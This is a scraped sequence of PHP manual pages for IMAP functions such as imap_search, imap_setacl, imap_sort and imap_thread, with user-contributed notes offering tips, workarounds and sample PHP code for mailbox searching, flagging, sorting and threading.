IMAP2 RFC1064 => [ref: https://tools.ietf.org/html/rfc1064] [page: 13]
IMAP4 RFC2060 => [ref: http://www.faqs.org/rfcs/rfc2060.html] [section: 6.4.4]

Note:
The core search functionality in a core module(IMAP) is still not available in PHP. Hope this will be brought to the developer community's attention...
Anonymous 05-Sep-2014 06:45
about my previous note:

<<the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message. >>
------------------------------------------------------------------------

Now works ;)

Just to pass not a date string into criteria parameter but a timestamp returned by mktime function, where you can put your date string.

Solution for any date/time criterion is a unix timestamp.
andrea dot job at libero dot it 05-Sep-2014 02:25
the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message.
anonymous at anonymous dot ru 02-May-2014 05:38
the function "imap_search" not work for some mails , maybe that because header syntax or some bug .

thanks a lot
mail at nikha dot org 14-Feb-2014 10:18
Hi,
be aware, that imap_search() does NOT (as you may exspect) return an empty array, if nothing was found!
As the manual says, it returns FALSE.

Do not test the result like "count($array)" as I did.
This gives you 1 for an empty result. Took me an hour to found out why :-(  RTFM
trimoreau dot yonn at gmail dot com 04-Jun-2013 07:53
It's not possible to find strings containing double quotes using this function.

For example, if you got a message named : Hello, this is "Bob"
You can try :
     imap_search($inbox, 'SUBJECT "Hello, this is "Bob""')
Or
     imap_search($inbox, "SUBJECT 'Hello, this is \"Bob\"'")

But both are false, because you did not escape double quotes in the first case, and you can NOT use simple quotes in the imap_search criteria in the second case.

The real problem is that you cannot use simple quotes to surround your criteria in the 2nd argument of imap_search, after SUBJECT.
james at medbirdie dot com 10-Sep-2012 07:31
To set your own CHARSET, which is useful if you are dealing with Chinese Japanese and Korean queries.

<?php imap_search($inbox,'BODY "'.$keyword.'"', SE_FREE, "UTF-8"); ?>
Anonymous 22-Jul-2012 07:34
The date format for e.g. SINCE is, according to rfc3501:

date            = date-text / DQUOTE date-text DQUOTE

date-day        = 1*2DIGIT
                    ; Day of month

date-day-fixed  = (SP DIGIT) / 2DIGIT
                    ; Fixed-format version of date-day

date-month      = "Jan" / "Feb" / "Mar" / "Apr" / "May" / "Jun" /
                  "Jul" / "Aug" / "Sep" / "Oct" / "Nov" / "Dec"

date-text       = date-day "-" date-month "-" date-year

So a valid date is e.g. "22-Jul-2012" with or without the double quotes.
Brett 14-May-2012 07:45
I haven't found any documentation of the allowed date formats, but (for example) "14 May 2012" works.

// Find UIDs of messages within the past week
$date = date ( "d M Y", strToTime ( "-7 days" ) );
$uids = imap_search ( $mbox, "SINCE \"$date\"", SE_UID );
joseph dot cardwell at jbcwebservices dot com 26-Mar-2012 05:07
imap_search() always returns false when op_silent flag is set in the connection parameters.
admin at rancid-tea dot com 20-Sep-2007 08:57
This search looks for messages matching ALL criteria, not ANY criteria. For example the search

imap_search($mailbox,'FROM "user" TO "user"')

Will return message that have "user" in both the from and to headers, but not messages with "user" in either the from or to header.
oliver at samera dot com dot py 26-Oct-2002 08:16
imap_search() only supports IMAP2 search criterias, because the function mail_criteria() (from c-client lib) is used in ext/imap/php_imap.c for parsing the search string.
IMAP2 search criteria is defined in RFC 1176, section "tag SEARCH search_criteria".
oliver at samera dot com dot py 26-Jan-2002 09:03
imap_search() return false if it does not understand the search condition or no messages have been found.

$emails imap_seach($mbox, "UNDELETED SENTSINCE 01-Jan-2002");
if($emails === false)
  echo "The search failed";


Sets a quota for a given mailbox

  • ? imap_search
  • imap_setacl ?
  • PHP Manual
  • IMAP 函数
  • Sets a quota for a given mailbox

imap_set_quota

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

imap_set_quota — Sets a quota for a given mailbox

说明

imap_set_quota(IMAP\Connection $imap, string $quota_root, int $mailbox_size): bool

Sets an upper limit quota on a per mailbox basis.

参数

imap

IMAP\Connection 实例。

quota_root

The mailbox to have a quota set. This should follow the IMAP standard format for a mailbox: user.name.

mailbox_size

The maximum size (in KB) for the quota_root

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_set_quota() example

<?php
$mbox = imap_open("{imap.example.org:143}", "mailadmin", "password");

if (!imap_set_quota($mbox, "user.kalowsky", 3000)) {
echo "Error in setting quota\n";
return;
}

imap_close($mbox);
?>

注释

This function is currently only available to users of the c-client2000 or greater library.

The given imap must be opened as the mail administrator, other wise this function will fail.

参见

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_get_quota() - Retrieve the quota level settings, and usage statics per mailbox

User Contributed Notes

lars at kneschke dot de 18-Mar-2003 06:24
If you want to disable the quotas again, set them to -1.

$mbox = imap_open ("{your.imap.host:143}", "mailadmin", "password");

if(!imap_set_quota($mbox, "user.kalowsky", -1)) {
    print "Error in deleting quota\n";
    return;
}

imap_close($mbox);


Sets the ACL for a given mailbox

  • ? imap_set_quota
  • imap_setflag_full ?
  • PHP Manual
  • IMAP 函数
  • Sets the ACL for a given mailbox

imap_setacl

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imap_setacl — Sets the ACL for a given mailbox

说明

imap_setacl(
IMAP\Connection $imap,
string $mailbox,
string $user_id,
string $rights
): bool

Sets the ACL for a giving mailbox.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

user_id

The user to give the rights to.

rights

The rights to give to the user. Passing an empty string will delete acl.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

注释

This function is currently only available to users of the c-client2000 or greater library.

参见

  • imap_getacl() - Gets the ACL for a given mailbox

User Contributed Notes

hartmut dot woehrle at hwds dot ch 07-Mar-2016 02:46
After getting the ACL's from imap_getacl you want to set them for a user on any mailbox folder like this:

foreach ( $Folders as $key => $Maildir ) {
imap_setacl($domains , "user/john.doe/".$Maildir , $userid, "lrswipkxte");
}

You can use a form that translates the ACLs like the following (thanks to cyradm manual):

  switch ($right) {
      case "read" :  $aclstring = "lrs";
          break;
      case "post" : $aclstring = "lrsp";
          break;
      case "append" : $aclstring = "lrsip";
          break;
      case "write" : $aclstring = "lrswipkxte";
          break;
      case "delete" : $aclstring = "lrxte";
          break;
      case "all" : $aclstring = "lrswipkxte";
          break;
      case "admin" : $aclstring = "lrswipkxtea";
          break;
      case "none" : $aclstring = "";
          break;
  }
panayotis at yellownetroad dot com 06-Oct-2002 04:34
I noticed that using:
imap_setacl ($conn, $mbox, $userid, "")
will act like:
"deleteaclmailbox $mbox $userid"  (remove the ACL on mailbox for userid).


Sets flags on messages

  • ? imap_setacl
  • imap_sort ?
  • PHP Manual
  • IMAP 函数
  • Sets flags on messages

imap_setflag_full

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_setflag_full — Sets flags on messages

说明

imap_setflag_full(
IMAP\Connection $imap,
string $sequence,
string $flag,
int $options = 0
): bool

Causes a store to add the specified flag to the flags set for the messages in the specified sequence.

参数

imap

IMAP\Connection 实例。

sequence

A sequence of message numbers. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

flag

The flags which you can set are \Seen, \Answered, \Flagged, \Deleted, and \Draft as defined by » RFC2060.

options

A bit mask that may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_setflag_full() example

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password")
or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\\Seen \\Flagged");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>

参见

  • imap_clearflag_full() - Clears flags on messages

User Contributed Notes

ming0 at mailinator dot com 08-Sep-2010 10:43
To correct phpidiot at avanca-a dot de

<?php

imap_setflag_full($mbox, '1', 'label1');

?>
daniel dot blackburn at galorwebservices dot com 20-Aug-2010 02:13
Where possible I would avoid using POP3 accounts. My host allowed me to upgrade to IMAP and it is so much easier. I think the only way to accurately create any form of mail client with POP3 is to download the messages into an SQL database which is a big task to start with, considering the IMAP standards have the functionality we need built in.
I experimented with flag setting in POP3 and it seems they do not stick at all, and it is almost impossible to retrieve the number of unread messages (ie. the Seen / Unseen thing does not work)
Converted to IMAP and it's working - the majority of the functions in this section seem to be IMAP focussed and WILL NOT generally work with POP3
phpidiot at avanca-a dot de 25-Oct-2009 04:37
"Keywords" aka "tags" aka "PERMANENTFLAGS" can be added if your server supports IMAP 4rev1 by using $label{label-nr}:

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\$label1");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>
calmdown at abendstille dot at 16-Jan-2003 01:54
The imap_setflag_full-function works with pop3 as long as the connection is NOT closed. if you make

imap_setflag_full($mbox, imap_uid($mbox, 0), "\\Seen \\Flagged", ST_UID);

print_r( imap_headerinfo($mbox, 0) );

you see the flags set, but if you call the box again with another script, the flags are empty again.
I tried this on a WinNT (*ugly*) with IIS 4.0 and a running POP3-server with PHP 4.3.
msh at onliners dot dk 25-Apr-2002 08:36
In reply to:
todsah@arise.nl
13-Oct-2000 06:51

The pop3 does indeed support the deleted flag - I have been working with the IMAP functions connection to a POP3 server this past week and lucky me it works.
AJCartmell at ricardo dot com 31-Jan-2002 06:29
Spent ages trying to get this to work, then eventually remembered I had opened the mailbox READONLY - obviously you need write permission for setting flags!
php AT holtsmark DOT no 14-Jan-2002 06:48
Use the imap_clearflag_full function if you want to unset the \Seen flag.

http://www.php.net/manual/en/function.imap-clearflag-full.php
death at metalfield dot com 21-Dec-2000 05:14
Indeed POP3 does not support flags that indicate the "newness" of a message. There are other ways to work around this problem, though. For one, I have seen mail delivery systems that will add a header field Status: to indicate its status (see RFC2076). Another way most email clients and mail fetching programs seem to use is to keep a local list of UID's of messages that are downloaded. Upon fetching mail, the UID's of the messages can be checked against this list to see if it was already downloaded. POP3 supports a command UIDL to get a list of all UID's, but I doubt the IMAP lib uses this command. The only thing I know of that will thrash this work-around is the use of multiple mail clients. If another mail client fetches mail from the server, the first client has no way of knowing it has been downloaded.
todsah at arise dot nl 13-Oct-2000 12:51
According to the rfc, pop3 does not have support for these flags, except perhaps for the deleted flag. I haven't tried if the delete flag works on pop3 or not.
simoned at eisa dot net dot au 13-Jan-2000 10:04
I've finally managed to get some action out of this function. Here is some code that might work help some people out:

$headers = imap_headers($link);
for($x=0; $x < count($headers); $x++) {
    $id = substr($headers[$x],5,4);
    imap_setflag_full($link,imap_uid($link,$id),'\\SEEN',SE_UID);
}

Good luck.


Gets and sort messages

  • ? imap_setflag_full
  • imap_status ?
  • PHP Manual
  • IMAP 函数
  • Gets and sort messages

imap_sort

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_sort — Gets and sort messages

说明

imap_sort(
IMAP\Connection $imap,
int $criteria,
bool $reverse,
int $flags = 0,
?string $search_criteria = null,
?string $charset = null
): array|false

Gets and sorts message numbers by the given parameters.

参数

imap

IMAP\Connection 实例。

criteria

Criteria can be one (and only one) of the following:

  • SORTDATE - message Date
  • SORTARRIVAL - arrival date
  • SORTFROM - mailbox in first From address
  • SORTSUBJECT - message subject
  • SORTTO - mailbox in first To address
  • SORTCC - mailbox in first cc address
  • SORTSIZE - size of message in octets

reverse

Whether to sort in reverse order.

flags

The flags are a bitmask of one or more of the following:

  • SE_UID - Return UIDs instead of sequence numbers
  • SE_NOPREFETCH - Don't prefetch searched messages

search_criteria

IMAP2-format search criteria string. For details see imap_search().

charset

MIME character set to use when sorting strings.

返回值

Returns an array of message numbers sorted by the given parameters, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。
8.0.0 | reverse is now bool instead of int.
8.0.0 | search_criteria and charset are now nullable.

User Contributed Notes

antoine dot spam-nono at maxg dot info 09-Feb-2006 07:42
I worked a lot with IMAP functions since I wrote a complete webmail and I've got a little tip about the imap_sort function :

There is a big difference between :

<?php
 imap_sort($imap, SORTDATE, 1);
// and
 imap_sort($imap, SORTARRIVAL, 1);
?>

The first command will issue a
 >> FETCH 1:last (UID ENVELOPE BODY.PEEK[HEADER.FIELDS (Newsgroups Content-MD5 Content-Disposition Content-Language Content-Location Followup-To References)] INTERNALDATE RFC822.SIZE FLAGS)

While the second resulted in
 >> FETCH 1:last (UID INTERNALDATE RFC822.SIZE FLAGS)

As a result, using SORTDATE took 3 seconds longer to complete on a 800-emails mailbox, while the results are quite the same (except if you have to deal with forged dates or timezones, but the arrival order is far more logical)

My advice if you sort your emails by arrival is to actually use SORTARRIVAL, or better don't use imap_sort and go straight with message numbers (not UIDs). On large mailboxes, if you display messages per page, you will have significant performance increases (by avoiding 5 seconds of sorting).
persian-horde at metanetworking dot com 07-May-2005 09:41
Hello,
We used MIME and NLS libraries in our previous code(imap_locale_sort) that
are part of PEAR and Horde projects, and so our function
was so specific. Here is the general (pure php) code for this
function:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=imap_utf8($val->subject);
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Sample usage:

$mbox = imap_open("{localhost:143}INBOX.sent-mail","userid","password");

if ($mbox)
    echo ("Connection Successful!");

$sorted = imap_locale_sort($mbox,SORTSUBJECT,0,'fa_IR',0);
print_r($sorted);
print ("\n\n");
$sorted = imap_sort($mbox,SORTSUBJECT,SE_UID);
print_r($sorted);

imap_close($mbox);
persian-horde at metanetworking dot com 07-May-2005 03:17
imap_sort uses the c-client library to sort messages. This library currently does not
support locale-based sort for foreign languages (Although it has charset option).
They are working on this(http://www.washington.edu/imap/IMAP-FAQs/#1.12),
but you can use the following function which uses strcoll() for locale-based sorting.
Pease note that this is required for SUBJECT field sorting, because most of
other fields are sorted correctly by imap_sort in any locale:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=MIME::decode($val->subject, NLS::getCharset());
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Usage example:

$sorted = imap_locale_sort($stream,SORTSUBJECT,0,'fa_IR',0);
boscolau at mac dot com 22-Mar-2005 02:57
in reply to graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk here is a more elegant way to achieve sorting of search results:

function order_search($searchresults, $sortresults) {
    return array_values(array_intersect($sortresults,$searchresults));
}

example of using function:
   $sortresults = imap_sort($stream, $sort, $sortorder);
   $searchresults = imap_search($stream, $query);
   $sorted_search_results = order_search($searchresults, $sortresults);

sorted version of search results will then be held in the array of $sorted_search_results.
tilmauder at yahoo dot com 27-Apr-2004 09:43
in response to fprado's problem, the solution would be to use array_multisort() function on imap_fetchheader(). sdavey at datalink dot net dot au wrote an excellent example under array_multisort. I have used it to sort POP3 by message size. Unfortunately, my code is much too convoluted to post it here.
fprado at pmovil dot com dot br 21-Nov-2002 01:23
I use imap_sort() to go through POP3 accounts. However, sometimes, when the mailbox is too large, the response is incredibly slow.

I tried sniffing the network to discover the source of the problem and found that when imap_sort() is called for a POP3 server, it downloads the full body & attachs of ALL the messages in the mailbox. Since my POP server and my Web server are on differente machines, this caused the considerably slow response.

I've been trying a work-around this issue and if I manage to do this I'll post it here.
graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk 18-Feb-2002 01:34
for those of you with an old version of PHP that doesn't support the extra search paramater you may want to use this function:
function order_search($searchresults, $sortresults) {
    $searchhash = array();
    $returnresults = array();
    $count = 0;
    for ($i = 0; $i < sizeof($searchresults); $i++) {
        $searchhash[$searchresults[$i]] = true;
    }
    for ($i = 0; $i < sizeof($sortresults); $i++) {
        if (@$searchhash[$sortresults[$i]]) {
            $returnresults[$count] = $sortresults[$i];
            $count++;
        }
    }
    return $returnresults;
}

example of using function:
    $sortresults = imap_sort($stream, $sort, $sortdir, SE_UID);
    $searchresults = imap_search($stream, $search, SE_UID);
    $results = order_search($searchresults, $sortresults);

$results will then hold a sorted array of search results.


Returns status information on a mailbox

  • ? imap_sort
  • imap_subscribe ?
  • PHP Manual
  • IMAP 函数
  • Returns status information on a mailbox

imap_status

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_status — Returns status information on a mailbox

说明

imap_status(IMAP\Connection $imap, string $mailbox, int $flags): stdClass|false

Gets status information about the given mailbox.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

flags

Valid flags are:

  • SA_MESSAGES - set $status->messages to the number of messages in the mailbox
  • SA_RECENT - set $status->recent to the number of recent messages in the mailbox
  • SA_UNSEEN - set $status->unseen to the number of unseen (new) messages in the mailbox
  • SA_UIDNEXT - set $status->uidnext to the next uid to be used in the mailbox
  • SA_UIDVALIDITY - set $status->uidvalidity to a constant that changes when uids for the mailbox may no longer be valid
  • SA_ALL - set all of the above

返回值

This function returns an object containing status information, 或者在失败时返回 false. The object has the following properties: messages, recent, unseen, uidnext, and uidvalidity.

flags is also set, which contains a bitmask which can be checked against any of the above constants.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_status() example

<?php
$mbox = imap_open("{imap.example.com}", "username", "password", OP_HALFOPEN)
or die("can't connect: " . imap_last_error());

$status = imap_status($mbox, "{imap.example.org}INBOX", SA_ALL);
if ($status) {
echo "Messages: " . $status->messages . "<br />\n";
echo "Recent: " . $status->recent . "<br />\n";
echo "Unseen: " . $status->unseen . "<br />\n";
echo "UIDnext: " . $status->uidnext . "<br />\n";
echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";
} else {
echo "imap_status failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

User Contributed Notes

mwwaygoo AT hotmail DOT com 12-Jul-2012 01:33
I had issues with imap_status not working correctly, while other imap functions seemed okay. I always got the ['flags']=0 response. No notes here and Google searching suggests it doesn't working properly with Exchange, so I wrote a little workaround, to at least get some information.

<?php
    function my_imap_status($stream, $mailbox='', $info=SA_ALL)
    {
        // get current mailbox name (and info)
        $curr_obj=imap_check($stream);
        if(!$curr_obj) return false;

        // if request if for current mailbox then just return it
        if( (empty($mailbox)) || ($mailbox==$curr_obj->Mailbox) ) return $curr_obj;

        // get current mailbox
        $current_mailbox=$curr_obj->Mailbox;

        //switch to new mailbox
        if(!imap_reopen($stream, $mailbox)) return false;

        // get info
        $obj=imap_check($stream);

        // switch back to original mailbox
        imap_reopen($stream, $current_mailbox);

        //return info
        return $obj;
    }
?>
razonklnbd at hotmail dot com 05-Jan-2008 10:12
another tips is to get only total number of message and recent message

$imap_obj = imap_status($mbox, '{mail.mysrv.com:143/imap}INBOX', SA_MESSAGES+SA_RECENT);
echo('<pre>'); var_dump($imap_obj); echo('</pre>');
jille at DIESPAMMERShexon dot cx 03-May-2007 06:21
In 'reply' to my previous post;
I`m not sure of that anymore
I think this trick works,
but the rest of my script just sucks..

Conclusion:
You can get the last UID by using status->uidnext-1
BUT: This is not a good way, if another message is added after your append and before your status; you are screwed


Subscribe to a mailbox

  • ? imap_status
  • imap_thread ?
  • PHP Manual
  • IMAP 函数
  • Subscribe to a mailbox

imap_subscribe

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_subscribe — Subscribe to a mailbox

说明

imap_subscribe(IMAP\Connection $imap, string $mailbox): bool

Subscribe to a new mailbox.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_unsubscribe() - Unsubscribe from a mailbox

User Contributed Notes

shacky 29-May-2009 06:34
Hi,
When $mailbox string ends with '/' it doesn't subscribe and doesn't return any error. You need to rtrim this character.
ajflorido dot canariastelecom.com 16-Mar-2003 10:11
Hello there! Sorry for my english
For someone who need to use this function.
I was trying to use it on my own imap server v2.0 but it didn't subscribe to any of the folders, so i try this method and it works.

class imap {
 var $imaphost="{your.imap.host:143}";
 var $imapuser="user";
 var $imappass="pass";
}

$imapm = new imap();

$mbox=imap_open($imapm->imaphost,$imapm->imapuser,$imapm->imappass);

$bool=imap_subscribe($mbox,"{your.host:143}INBOX");
  if ($bool)
  {
     print "Ok";
  } else {
            print "No ok";
           }


Returns a tree of threaded message

  • ? imap_subscribe
  • imap_timeout ?
  • PHP Manual
  • IMAP 函数
  • Returns a tree of threaded message

imap_thread

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imap_thread — Returns a tree of threaded message

说明

imap_thread(IMAP\Connection $imap, int $flags = SE_FREE): array|false

Gets a tree of a threaded message.

参数

imap

IMAP\Connection 实例。

flags

返回值

imap_thread() returns an associative array containing a tree of messages threaded by REFERENCES, or false on error.

Every message in the current mailbox will be represented by three entries in the resulting array:

  • $thread["XX.num"] - current message number

  • $thread["XX.next"]

  • $thread["XX.branch"]

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_thread() Example

<?php

// Here we're outputting the threads of a newsgroup, in HTML

$nntp = imap_open('{news.example.com:119/nntp}some.newsgroup', '', '');
$threads = imap_thread($nntp);

foreach ($threads as $key => $val) {
$tree = explode('.', $key);
if ($tree[1] == 'num') {
$header = imap_headerinfo($nntp, $val);
echo "<ul>\n\t<li>" . $header->fromaddress . "\n";
} elseif ($tree[1] == 'branch') {
echo "\t</li>\n</ul>\n";
}
}

imap_close($nntp);

?>

User Contributed Notes

p2 at eduardoruiz dot es 21-Sep-2020 01:36
Fix
XX.num maybe 0, then stop

<?php
function FindThread(&$mailbox, $uid) {

    $mails = array();
    $thread = imap_thread($mailbox, SE_UID);

    $i = array_search($uid, $thread);
    while(($tree = explode('.', $i)) && ($j = array_search($tree[0], $thread)) &&
        ($treej = explode('.', $j)) && $treej[0] && ($k = array_search($treej[0], $thread)) && ($treek = explode('.', $k)) &&
        $thread[$treej[0] . '.num'] && $thread[$treek[0] . '.num'] &&
        ($thread[$treej[0] . '.next'] != 0 || $thread[$treek[0] . '.next'] != 0))
            $i = $j;

    $mails = FindThreadAll($thread, $tree[0]);

    return $mails;
}
?>

Eduardo Ruiz (Spain)
p2 at eduardoruiz dot es 19-Sep-2020 07:20
Get all UIDs of a single thread (not the whole all messages threads).
If you want to list just a conversation thread.

First, we must find the root element, using an UID included in these conversation in whatever message.

Then recursivelly we list all UIDs messages in an array.

<?php
// Function returns empty array if message is not in a thread
// You must indicate $mailbox returned by imap_open and a message UID listed in that thread conversation
// First root element is found when parent and previous parent are both with 'XX.next' elements equal to 0

function FindThread($mailbox, $uid) {

    $mails = array();
    $thread = imap_thread($mailbox, SE_UID);

    $i = array_search($uid, $thread);
    while(($tree = explode('.', $i)) && ($j = array_search($tree[0], $thread)) &&
        ($treej = explode('.', $j)) && $treej[0] && ($k = array_search($treej[0], $thread)) && ($treek = explode('.', $k)) &&
        ($thread[$treej[0] . '.next'] != 0 || $thread[$treek[0] . '.next'] != 0))
            $i = $j;

    $mails = FindThreadAll($thread, $tree[0]);

    return $mails;
}

// Walk messages in 2 ways, using 'XX.branch' and recursivelly 'XX.next' for sibiling and children messages
// Stop when in first iteration(call) there is no 'XX.next' element

function FindThreadAll(&$thread, $i, $n = 0) {

    $mails = array();
    while($i) {

        if(!($j = $thread[$i . '.next']) && !$n)
            break;

        $mails[] = $thread[$i . '.num'];
        if($j)
            $mails = array_merge($mails, FindThreadAll($thread, $j, $n + 1));

        $i = $thread[$i . '.branch'];
    }

    return $mails;
}

if(($mails = FindThread(64851))) // Example UID message
    print_r(imap_fetch_overview($mailbox, implode(',', $mails), SE_UID));
?>

Eduardo Ruiz (Spain)
cblanquera at gmail dot com 19-May-2011 08:13
imap_thread() returns threads, but are confined to the current open mailbox you defined in imap_open(). This is not useful for, lets say, getting full threads ( from "Sent Messages" and "Inbox" [took me a day to figure this out]).

If you compare threads on Outlook vs gmail.com you will find that Outlook determines threads by subject title, not actual parent > child relationships.

Gmail however, seems to get threads right, but does not include mail you send using their web interface in  {imap.google.com:993/imap/ssl}Sent Messages . What this means is that threads using php imap won't be perfect for gmail.

If you send mail using Outlook (or any mail client), gmail.com does put it in their "Sent Mail".

So all in all, threads for PHP imap are not perfect. But I blame the imap specifications (DEAR IMAP GUYS, please add better uids and parent ids. thx Chris) more than PHP

So I created the Outlook method for threading (comparing subjects) below:

<?php
$imap         = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'yourpassword');
$subject     = 'Item b';
$threads     = array();

//remove re: and fwd:
$subject = trim(preg_replace("/Re\:|re\:|RE\:|Fwd\:|fwd\:|FWD\:/i", '', $subject));

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//now reopen sent messages
imap_reopen($imap, '{imap.gmail.com:993/imap/ssl}Sent Messages');

//and do the same thing

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//sort keys so we get threads in chronological order
ksort($threads);

echo '<pre>'.print_r($threads, true).'</pre>';
exit;
?>

so if you are going to use imap_thread() for something useful. This is probably the most optimal way I can think of:

<?php
$imap = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'password');
$threads = $rootValues = array();

$thread = imap_thread($imap);
$root = 0;

//first we find the root (or parent) value for each email in the thread
//we ignore emails that have no root value except those that are infact
//the root of a thread

//we want to gather the message IDs in a way where we can get the details of
//all emails on one call rather than individual calls ( for performance )

//foreach thread
foreach ($thread as $i => $messageId) {
    //get sequence and type
    list($sequence, $type) = explode('.', $i);

    //if type is not num or messageId is 0 or (start of a new thread and no next) or is already set
    if($type != 'num' || $messageId == 0
       || ($root == 0 && $thread[$sequence.'.next'] == 0)
       || isset($rootValues[$messageId])) {
        //ignore it
        continue;
    }

    //if this is the start of a new thread
    if($root == 0) {
        //set root
        $root = $messageId;
    }

    //at this point this will be part of a thread
    //let's remember the root for this email
    $rootValues[$messageId] = $root;

    //if there is no next
    if($thread[$sequence.'.next'] == 0) {
        //reset root
        $root = 0;
    }
}

//now get all the emails details in rootValues in one call
//because one call for 1000 rows to a server is better
//than calling the server 1000 times
$emails = imap_fetch_overview($imap, implode(',', array_keys($rootValues)));

//foreach email
foreach ($emails as $email) {
    //get root
    $root = $rootValues[$email->msgno];

    //add to threads
    $threads[$root][] = $email;
}

//there is no need to sort, the threads will automagically in chronological order
echo '<pre>'.print_r($threads, true).'</pre>';
imap_close($imap);
exit;
?>
whamill at google mail 26-Apr-2010 02:23
I figure other people may benefit from an explanation of the resulting array, My understanding is:

Key: Essentially a node ID
Num: The mail ID (where 0 indicates the start of a conversation)
Next: The node ID of the first child (where 0 indicates there are no children)
Branch: The node ID of the next sibling (where 0 indicates there is no sibling)
mail at moritz-lapp dot de 05-Aug-2004 01:47
One possible option to imap_thread is the constant SE_UID, which will make imap_thread return UIDs instead of sequence numbers in the x.num-fields of the returned array.


Set or fetch imap timeout

  • ? imap_thread
  • imap_uid ?
  • PHP Manual
  • IMAP 函数
  • Set or fetch imap timeout

imap_timeout

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

imap_timeout — Set or fetch imap timeout

说明

imap_timeout(int $timeout_type, int $timeout = -1): int|bool

